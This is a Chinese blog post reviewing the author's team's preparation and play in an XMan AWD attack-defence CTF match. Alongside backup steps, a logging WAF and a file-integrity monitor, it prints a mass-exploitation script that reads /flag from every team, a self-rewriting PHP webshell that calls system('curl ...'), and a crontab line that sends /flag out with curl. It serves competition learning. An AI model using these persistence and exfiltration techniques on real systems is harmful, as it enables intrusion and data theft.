Xman结营赛AWD总结

Xman20 天结束了, 感谢各路大佬抬我一手, 第二次打 AWD, 虽然还是很菜, 但总不至于毫无输出了, 膜一波@q4n 和@Cosmos

由于总结的时候已经过去两天了, 当时的图都没留下来, 很多地方大家就意会一下吧
我还是觉得这个赛制很神奇, 竟然有可以打自己出的题的比赛

准备

还是太浪了, 结营赛前一天才开始准备, 本来想上@王一航师傅的框架 AWD Framework , 但是准备的比较晚没搞懂, 就还是上网找了散装脚本用了, 后面会把用到的脚本罗列一下

比赛前一晚还搭好了hackmd, 但是没有整明白虚拟机的网络配置..只能我自己连上去, 导致比赛的过程交流都是物理交流了 hhhh

文件交流

# python2
python -m SimpleHTTPServer 8000
# python3
python -m http.server 8000

文档交流

推荐使用codimd

搭建方法参考 https://hackmd.io/c/codimd-documentation/%2Fs%2Fcodimd-docker-deployment

装好了 docker 和 docker-compose 只需要三行命令

git clone https://github.com/hackmdio/docker-hackmd.git
cd docker-hackmd
docker-compose up

然后访问localhost:3000即可

图片上传的部分需要进去 docker 里面修改一下, 默认是 imgur 图床

# 进入容器, 需要对应containerid
docker exec -it containerid /bin/bash
# 安装vim
apt update && apt install vim
# 修改
vim config.json
#修改imageuploadtype为filesystem

然后就可以正常传图片了

虚拟机的网络设置需要改成桥接模式, 这样才能和主机在同一个段, 局域网内可以正常访问

比赛

登录

比赛开始的时候发了账号密码, 登录上去一直看不到赛题信息, 还以为是网络问题, 后面问了才发现是广告插件的问题 , 关闭广告插件就可以看到了

  • 关闭广告拦截插件

然后下载赛题信息, 里面有 ip 和 ssh 的公私钥

第一次连, 差点不会连, 还好MobaXTerm的界面设计的不错, 一眼就看到了在哪里添加

  • 输入 host 和 username(这里是 xman)
  • 勾选 Use private Key
  • 选择不带后缀的私钥 id_rsa

然后就可以登录上去了

弱密码

这里主要涉及的是

  • ssh 密码
  • mysql 密码
  • phpmyadmin 密码
  • etc

不过这部分暂时还没找到相关的脚本, 师傅们有的话可以来交流一下

ssh

先登录上去, 之后

passwd

输入密码即可, 改完自己的直接开始打

这里可以用@p0desta 师傅的框架 awd-attack

不过没有集成修改 ssh 密码的功能, 后面再自己改一下吧

数据库

mysql>set password=password('new');
mysql>flush privileges;

没改的话上去就可以删库跑路了 hhh

备份

备份还是大意了, 比赛前想过备份数据库, 连命令都准备好了, 结果上去就忘记了, 导致 web9 从开始就宕机宕到结束

(自己背锅

下面的备份都是备份到家目录

源码备份

这里有个注意的点是, 如果不先进入 html 文件夹的话, 备份后的压缩包会包含整个路径

# 不建议
tar -zcvf ~/html.tar.gz /var/www/html/

下面的命令压缩后结构如下

cd /var/www/html
tar -zcvf ~/html.tar.gz *

如果需要恢复则可以使用下面的命令

rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html

或者

cd /var/www/html
rm -rf *
tar -zxvf ~/html.tar.gz

数据库备份

先在 html 文件夹里面搜索一下数据库的用户名和密码

cd /var/www/html
find .|xargs grep "password"

, 然后开始备份

#mysql终端下可以先看一下有什么数据库
mysql>show databases;
# 备份相应的数据库
mysqldump -u 用户名 -p 数据库名>~/back.sql
# 备份全部数据库
mysqldump -u root -p --all-databases >~/back.sql
# 跳过锁定的数据库表
mysqldump -u root -p --all-databases —skip-lock-tables >~/back.sql

恢复的话, 需要先建好相应的数据库

cd
mysql>create database xxx;
mysql>use xxx;
mysql>source back.sql;

或者在终端下

cd
mysql -u root -p xxx<back.sql

上 waf

waf, 也就是通用防御, 可以用的一般有下面两种

  • 流量监控, 必上
  • 文件监控, 看情况

至于其他的骚套路, 像流量转发, iptables 等等这些有一定的风险, 可能会被举报, 不建议

流量监控

重要, 必须上, 流量相当于我们的眼睛, 没有流量只能被动挨打, 有了流量才可以抄作业 hhhh

这里贴一下@郁离歌师傅的 waf

不过这次结营赛官方提供了 pcap 流量包, 后面会提到

<?php

error_reporting(0);
define(‘LOG_FILEDIR’,’/tmp’);
function waf()
{
if (!function_exists(‘getallheaders’)) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == ‘HTTP_’)
$headers[str_replace(‘ ‘, ‘-‘, ucwords(strtolower(str_replace(‘_’, ‘ ‘, substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER[“REMOTE_ADDR”];
$method = $_SERVER[‘REQUEST_METHOD’];
$filepath = $_SERVER[“SCRIPT_NAME”];
foreach ($_FILES as $key => $value) {
$files[$key][‘content’] = file_get_contents($_FILES[$key][‘tmp_name’]);
file_put_contents($_FILES[$key][‘tmp_name’], “virink”);
}

unset($header[‘Accept’]);
$input = array(“Get”=>$get, “Post”=>$post, “Cookie”=>$cookie, “File”=>$files, “Header”=>$header);

logging($input);

}

function logging($var){
$filename = $_SERVER[‘REMOTE_ADDR’];
$LOG_FILENAME = LOG_FILEDIR.”/”.$filename;
$time = date(“Y-m-d G:i:s”);
file_put_contents($LOG_FILENAME, “\r\n”.$time.”\r\n”.print_r($var, true), FILE_APPEND);
file_put_contents($LOG_FILENAME,”\r\n”.’http://’.$_SERVER[‘HTTP_HOST’].$_SERVER[‘PHP_SELF’].’?’.$_SERVER[‘QUERY_STRING’], FILE_APPEND);
file_put_contents($LOG_FILENAME,”\r\n***************************************************************”,FILE_APPEND);
}

waf();
?>

自动上 waf 的脚本, 这个脚本需要注意的是, waf 的路径必须是绝对路径, 因为是递归添加 waf, 如果不是绝对路径, 内层文件夹的 php 文件无法找到 waf 的路径, 服务就会宕掉, 但是如果全部上的话, 就算上对了还是有可能出现宕机, 这个与 namespace 有关, 可以了解一下, 如果是常见的 cms 可以上在入口的 php 中, 就能监听到流量了

#-*- coding:utf-8 -*
'''
批量添加WAF的python脚本
'''
import os
base_dir = '/var/www/html' #web path
def scandir(startdir) :

os.chdir(startdir)
for obj in os.listdir(os.curdir) :
path = os.getcwd() + os.sep + obj
if os.path.isfile(path) and '.php' in obj and 'log' not in path:
modifyip(path,'<?php','<?php\nrequire_once(\'/var/www/html/log.php\');')
if os.path.isdir(obj) :
scandir(obj)
os.chdir(os.pardir)
def modifyip(tfile,sstr,rstr):
try:
lines=open(tfile,'r').readlines()
flen=len(lines)-1
for i in range(flen):
if sstr in lines[i]:
lines[i]=lines[i].replace(sstr,rstr)
open(tfile,'w').writelines(lines)

except Exception,e:
print e

scandir(base_dir)

文件监控

这个的话要看情况, 如果 check 会检查是否能正常上传文件的话, 这个一上就宕机, 但是有时候 check 没有检查的话, 就可以上一下, 避免被写马

主要使用的时候修改里面的Special_string字段

然后在自己修改文件的时候只需要在里面加入这个字段即可, 例如

vi index.php
....
# cjM00N
...

这样就可以绕过文件监控了

# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'cjM00N' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

if noneToNull and value is None:
return NULL

if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value

if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist

# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)

# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())

扫后门

题目备份后拉下来用 D 盾扫一下后门, 一般来说 awd 都会预留一个后门, 让比赛快速推进

直接把文件夹丢进去就可以了

很明显就能看到有后门, 先删自己的, 再看看能不能利用打一波

流量分析

wireshark

这次比赛提供了 pcap 流量包, 不会用 wireshark 看的头疼, 比赛都是直接记事本打开看….后面去学习了一下

首先分析一下这次的网络拓扑

假设队伍 id 为 1, 则队伍的选手在

10.10.1.1-10

题目则在

10.10.1.21-30

其他队伍类似, 只是 id 不同

首先打开 wireshark,如图, 下面介绍几种过滤, 不同过滤之间使用and连接

协议

可以看到 protocol 协议有 http 和 tcp 两种, tcp 都是握手包, 我们可以先筛选出 http 包, 过滤器中输入

http

长度

一般来说长度较长的可能是关键的流量, 点击 length 按长度排序

当然这里就是另外一种情况了, 长的全都是垃圾流量 hhhh

http 方式

可以过滤 get 和 post 两种, 优先可以考虑 post

http.request.method=="POST"

ip

如果觉得某个 ip 一直访问或者每隔一段时间就访问一次, 这种很有可能就是 exp 访问, 这就需要过滤 ip 来看一下他的流量了

ip.src == 10.10.1.14

其他的 ip 过滤如下

# 源ip和目的ip
ip.addr == 10.10.1.14
# 目的ip
ip.dst == 10.10.1.14

端口

用的不多, 命令如下

# 源端口和目的端口
tcp.port == 80
# 源端口
tcp.srcport == 80
# 目的端口
tcp.dstport == 80

mac

也比较少用

eth.addr == 20:dc:e6:f3:78:cc

追踪数据流

如果怀疑某个包有问题, 可以右键追踪数据流

直接搜索字段

在分组字节流搜索字符串, 说不定有奇效(图中就是有效流量

log 记录

如果不会看 wireshark(比如我)或者是不提供流量包的比赛, 就需要自己上 waf 去监控了, 抓取的流量如下

后面就是分析流量了, 有个需要注意的点是, 建议在抓取流量的时候, 按时间分流量包, 比如 10 分钟一个文件, 这样流量不会太大, 加载起来也快, 读起来也方便

如果遇到垃圾流量多的时候一个文件就很难顶了

快速攻击

快速攻击主要利用的是 burpsuite 和它的一个插件

这个插件可以快速的把 burp 抓到的包转换成代码, 一般为 python, 使用的是 request 库

使用如下, 在包内右键, 然后选择

Generate Script

就会出现转换的代码了, 直接复制后改一下就可以打了

对于扫出来的后门或者流量分析出来的 payload 都可以这样用 burp 快速复现并直接生成代码去打

全场攻击

以其中一个脚本为例, 首先使用上面提到的插件生成代码后粘贴进来, 然后根据题目分布, 写个 for 循环打一遍, 再利用 while True 让程序死循环跑, 如果某个 ip 已经不可以打的话就将其加到 ban 列表里面, 然后每轮输出一共打了几个, 再 sleep(300), 也就是 5 分钟, 比赛是一轮 10 分钟, 一轮打两次避免特殊情况(如打的时候突然宕机等等)

import requests
from time import sleep
session = requests.Session()
ban = []
while True:
num = 0
for i in range(11):
if i in ban:
continue
url = "http://10.10.%d.30/index.php" % i
#print url
paramsGet = {"a":"show_pic","c":"index","file":"/flag"}
headers = {"Cache-Control":"no-cache","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36","Connection":"close","Pragma":"no-cache","Accept-Encoding":"gzip, deflate","Accept-Language":"zh,zh-CN;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6"}
try:
response = session.get(url, params=paramsGet, headers=headers, timeout=1).content.strip()
if len(response) > 20:
r2 = requests.post('http://10.66.66.66/api/v1/ad/web/submit_flag/?event_id=1',data={"flag": response,"token":"dzVaFmggB2WXHDjwMGug8uXi7TTRBEBNxZxHGCngJskgm"})
print r2.text
if "success" in r2.text:
num += 1
#print(response)
else:
if i not in ban:
ban.append(i)
sleep(1)
except:
pass
print num
sleep(300)

不过这个写的还是比较糙的, 没有什么参考价值, 大家看一看就好

不死马与杀马

一般不死马大概长这样

<?php
set_time_limit(0);
ignore_user_abort(true);

$file = '.conifg.php';
$shell = "<?php echo system("curl 10.0.0.2"); ?>";

while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');

usleep(50);
}
?>

里面有几个点, 首先是文件名, 在 linux 下面有两种文件名开头比较特别

  • .开头, 这种文件在 linux 下为隐藏文件, 直接 ls 看不到, 需要用ls -all 或者ll才能看到

  • -开头, 会被 linux 命令识别为参数, 删除会出错

这里可以使用命令如下

rm ./-config.php
rm -- -config.php
# 如果只有一个文件
rm -rf *

然后就是马的主体部分, 死循环不断生成文件, 单纯删掉文件没有用, 还是会生成, 而且此时 php 文件已经写到内存里面了, 我们可以这么杀马

rm .config.php && mkdir .config.php
killall -9 apache2
# 或者
killall -9 -u www-data
rm -rf .config.php

通过新建文件夹让程序无法继续写马, 然后再杀掉进程, 删了文件夹就可以了

这只是最基础的内存马, 还有各种花哨的马, 比如几个马相互守护, 定时任务马等等, 删除的方法都差不多, 无非都是想办法杀进程建文件夹来让马失效, 还听说过区块链马, 可以让中马的机器变成一群肉机, 利用他们来进行攻击等等.

定时任务

定时任务的语法可以参考https://www.runoob.com/linux/linux-comm-crontab.html

大体就是前面分别表示 分 时 日 月 年 , /后表示每多久执行一次,例如下面的命令就是每十分钟执行一次

*/10 * * * * command

# list
crontab -l
# 删除
crontab -r
# submit flag
echo "*/10 * * * * curl ip:port/submit_flag/ -d 'flag='$(/bin/cat /flag)'&token=xxxx'" |crontab

比赛中可以用来写 crontab 定时 getflag, 删除则是crontab -r, 如果是循环写入的, 就得写个循环删, 或者先杀马再删, 一般来说都是结合不死马一起打的组合拳

总结

这次比赛准备还是不足, 罗列一下大概如下

  • 没有使用框架, 只是简单的cat /flag , 不能持续输出, 如果别人补了洞就打不了
  • 没有准备好垃圾流量脚本, payload 赤裸裸的打出去, 别人抄作业也抄的快, 打了几轮得分就慢慢变少了
  • 备份不够熟练, 原来的备份命令写的有点问题, 导致备份有点慢, 也忘记备份数据库了, 有一道题全程宕机
  • check 写的不好, 只是简单的检查了一下页面, 没有检查页面的内容和数据库的状态, 对选择的 cms 不熟, 有个洞的 exp 一直打不出去

总体来说也还好, 队友@Cosmos 把自己出的题打了 3k 分, 权限维持做的不错, 基本从早打到晚, 不过中间好像脚本出了问题, 有一段时间 flag 打了没交上去, 导致中间没得分, 还是比较亏的, 我抄了几波作业也打的挺快乐

@q4n 师傅一个人运维 6 道 pwn 题还打了不少输出, 必须膜一波

Xman 结束, 接下来就是回归 Kap0k 了, 希望大三这一年, 能像@C0mRaDe 大哥一样做一个真正的 web 手

最后, 感谢 Tea deliverer 的@王郁师傅做的 AWD 分享, 收获很大, 衷心感谢.

参考链接

edward- ctf 线下赛经验总结

zeroyu-ctf awd 模式攻防 note

1cePeak-CTF-线下 AWD-py 脚本

LiN3ver5ec-聊聊 AWD 攻防赛流程及准备经验


作者: cjm00n
地址: https://cjm00n.top/CTF/XMan-awd-summary.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

Config文档

评论